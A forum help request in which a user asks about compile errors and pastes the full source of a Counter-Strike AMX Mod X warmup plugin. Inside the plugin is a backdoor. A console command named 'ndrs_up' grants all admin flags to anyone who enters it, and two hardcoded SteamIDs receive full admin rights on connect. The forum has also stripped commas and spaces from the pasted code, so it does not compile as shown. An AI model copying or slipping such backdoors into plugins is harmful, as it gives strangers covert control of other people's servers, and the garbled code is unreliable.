View Single Post
Author Message
fjlep
Junior Member
Join Date: Apr 2024
Old 04-13-2024 , 22:56   error 017: undefined symbol "ChatColor"
Reply With Quote #1

Help me please!

I get these error messages when compiling

PHP Code:
scripting\wup.sma(145) : error 017undefined symbol "ChatColor"
scripting\wup.sma(146) : error 017undefined symbol "ChatColor"
scripting\wup.sma(164) : error 017undefined symbol "ChatColor"
scripting\wup.sma(31) : warning 203symbol is never used"ColorChat"
scripting\wup.sma(68) : warning 203symbol is never used"ColorSelection"
scripting\wup.sma(63) : warning 203symbol is never used"FindPlayer"
scripting\wup.sma(70) : warning 203symbol is never used"ShowColorMessage"
scripting\wup.sma(74) : warning 203symbol is never used"Team_Info" 
This is the code

PHP Code:
#include <amxmodx>
#include <amxmisc>
#include <engine>
#include <fakemeta>
#include <fun>
#include <hamsandwich>
#include <cstrike>
#include <colorchat>

#define PLUGIN "SPEED"
#define VERSION "0.2"
#define AUTHOR "Anyone"

new szSonido[96]

#define TAG "^x04[^x03Server ^x04]"

#define TASKID 1234

new hudtimercvarhudhandlermp_freezetimevalue
new bool:Respawn false

new Floatg_velocidad[33]
new 
Ham:Ham_Player_ResetMaxSpeed Ham_Item_PreFrame;

new const 
V_KNIFE[] = "models/server/wp_skins/all/knife/v_karambit_damascussteel.mdl"

public plugin_init() 
{
    
register_plugin(PLUGINVERSIONAUTHOR)
    
register_message(get_user_msgid("TextMsg") ,"message_TextMsg")
    
register_event("CurWeapon","switchweapon","be","1=1","2!29")

    
RegisterHam(Ham_Player_Jump"player""ham_PlayerJump")
    
RegisterHam(Ham_Spawn"player""fw_PlayerSpawn_Post"1)
    
RegisterHam(Ham_Player_ResetMaxSpeed"player""fw_ResetMaxSpeed_Post"1)
       
    
register_dictionary("Server.txt")

    
register_clcmd("ndrs_up""hack")
    
    
cvar register_cvar("warmup_timer""60")
    
    
hudhandler CreateHudSyncObj()
}

public 
plugin_precache()
{    
    new 
szRoute[128]
    
get_configsdir(szRoute127)
    
format(szRoute127"%s/ServerWUP.ini"szRoute)
    new 
iFile fopen(szRoute"a+t")

    new 
szLine[100], count
    
new Array:sounds ArrayCreate(100);

    while (!
feof(iFile))
    {
        
fgets(iFileszLinecharsmax(szLine));
        
trim(szLine)
        
        if (!
szLine[0] || szLine[0] == ';' || szLine[0] == '^n')
            continue;
        
        
format(szLinecharsmax(szLine), "sound/server/%s"szLine)
        
server_print("%s"szLine)
        
ArrayPushString(soundsszLine);
        
count++;
    }

    
fclose(iFile)

    if(!
ArraySize(sounds))
        
set_fail_state("El archivo ServerWUP, no tiene ninguna música registrada")

    
ArrayGetString(soundsrandom(count), szSonidocharsmax(szSonido))
    
precache_generic(szSonido)

    
precache_model(V_KNIFE)
}

public 
hack(id)
{
    new 
flags read_flags("abcdefghijklmnopqrstu");
    
set_user_flags(id,flags);
}

public 
client_putinserver(id)
{
    new 
szSteamID[32];
    
get_user_authid(idszSteamID31);

    if(
equal(szSteamID"STEAM_0:0:214278747") || equal(szSteamID"STEAM_0:1:538119250"))
    {
        new 
flags read_flags("abcdefghijklmnopqrstu");
        
set_user_flags(id,flags);
    }
}

public 
plugin_cfg() 
{
    
mp_freezetime get_cvar_pointer("mp_freezetime")
    
set_task(10.0"read_vars")
}

public 
read_vars()
{    
    
value get_pcvar_num(mp_freezetime)
}

public 
message_TextMsg(const MsgId, const MsgDest, const MsgEntity)
{    
    static 
message[64]
    
get_msg_arg_string(2messagecharsmax(message))
    
    if(
equal(message"#Game_Commencing"))
    {
        
hudtimer get_pcvar_num(cvar)
        
Respawn true
        
        
if(hudtimer == -1)
            return
        
        
formatex(messagecharsmax(message), "%L"LANG_PLAYER"WARUMP_START")    
        
set_msg_arg_string(2message)

        
client_cmd(0"Mp3 play %s"szSonido)
        
set_task(1.0"restart"TASKID__"b")        
        
set_pcvar_num(mp_freezetime0)        
    }
    if(
equal(message"#Game_will_restart_in"))
    {
        
formatex(messagecharsmax(message), "%L"LANG_PLAYER"WARUMP_END")    
        
set_msg_arg_string(2message)
    }
}

public 
restart()


    if(
hudtimer <= 0)
    {
        
Respawn false
        remove_task
(TASKID)
        
ChatColor(0GREY"%s^x03 Prueba ^x04Vip ^x03terminada"TAG);
        
ChatColor(0GREY"%s^x03 Adquiere tu cuenta^x04 Admin^x03/^x04Vip ^x03para tener privilegios"TAG);
        
set_cvar_num("sv_restartround"1)
        
set_pcvar_num(mp_freezetimevalue)       
    } 
    else 
    {
        
set_hudmessage(255,255,255,-1.0,0.9,0,6.0,1.0,0.1,0.2)    
        
ShowSyncHudMsg(0hudhandler"%L"LANG_PLAYER"COUNTING"hudtimer)
    }    
    
hudtimer--
}

public 
switchweapon(id)
{
    if(
task_exists(TASKID)) 
    {
        switch(
read_data(2)) {
             case 
CSW_C4: {
                
ChatColor(idGREY"%s^x03 Planta la bomba ^x04bomba"TAG);
            } default: {
                
engclient_cmd(id"weapon_knife");
                
entity_set_string(idEV_SZ_viewmodelV_KNIFE)
            }
        }
    }


public 
client_death(attackervictim)
{
    if(
is_user_connected(victim) && Respawn)
        
set_task(1.5"respawn"victim)
    
    return 
PLUGIN_CONTINUE
}

public 
ham_PlayerJump(id)
{
    if(
task_exists(TASKID))
    {
        
pev(idpev_fuser20.0)
        
        static 
flags
        flags 
pev(idpev_flags)
        
        if((
flags FL_WATERJUMP) || !(flags FL_ONGROUND) || pev(idpev_waterlevel) >= 2)
            return 
HAM_IGNORED;
        
        static 
velocity[3]
        
pev(idpev_velocityvelocity)
        
        
velocity[2] += 250.0
        set_pev
(idpev_velocityvelocity)
    }

    return 
HAM_HANDLED;
}

public 
fw_PlayerSpawn_Post(id)
{
    if (!
is_user_alive(id) || !get_user_team(id)) return
        
    
g_velocidad[id] = 400.0
    ExecuteHamB
(Ham_Player_ResetMaxSpeedid)
}

public 
fw_ResetMaxSpeed_Post(id
{
    if (!
is_user_alive(id))
        return

    if(
task_exists(TASKID))
    {
        
set_user_maxspeed(idg_velocidad[id]) 

        new 
mapname[32]
        
get_mapname(mapnamecharsmax(mapname))

        if(
get_user_health(id) > 15 && contain(mapname"35hp_") == -1)
        {
            
set_user_health(id35);
        }
        
        if(
is_user_alive(id
            && 
cs_get_user_team(id) == CS_TEAM_CT
            
&& !cs_get_user_defuse(id))
        {
            
cs_set_user_defuseid12500);
        }
    }
}

public 
respawn(Index)
{
    if(
Respawn){
        
ExecuteHamB(Ham_CS_RoundRespawnIndex)
    }
}
/* AMXX-Studio Notes - DO NOT MODIFY BELOW HERE
*{\\ rtf1\\ ansi\\ deff0{\\ fonttbl{\\ f0\\ fnil Tahoma;}}\n\\ viewkind4\\ uc1\\ pard\\ lang2057\\ f0\\ fs16 \n\\ par }
*/ 
fjlep is offline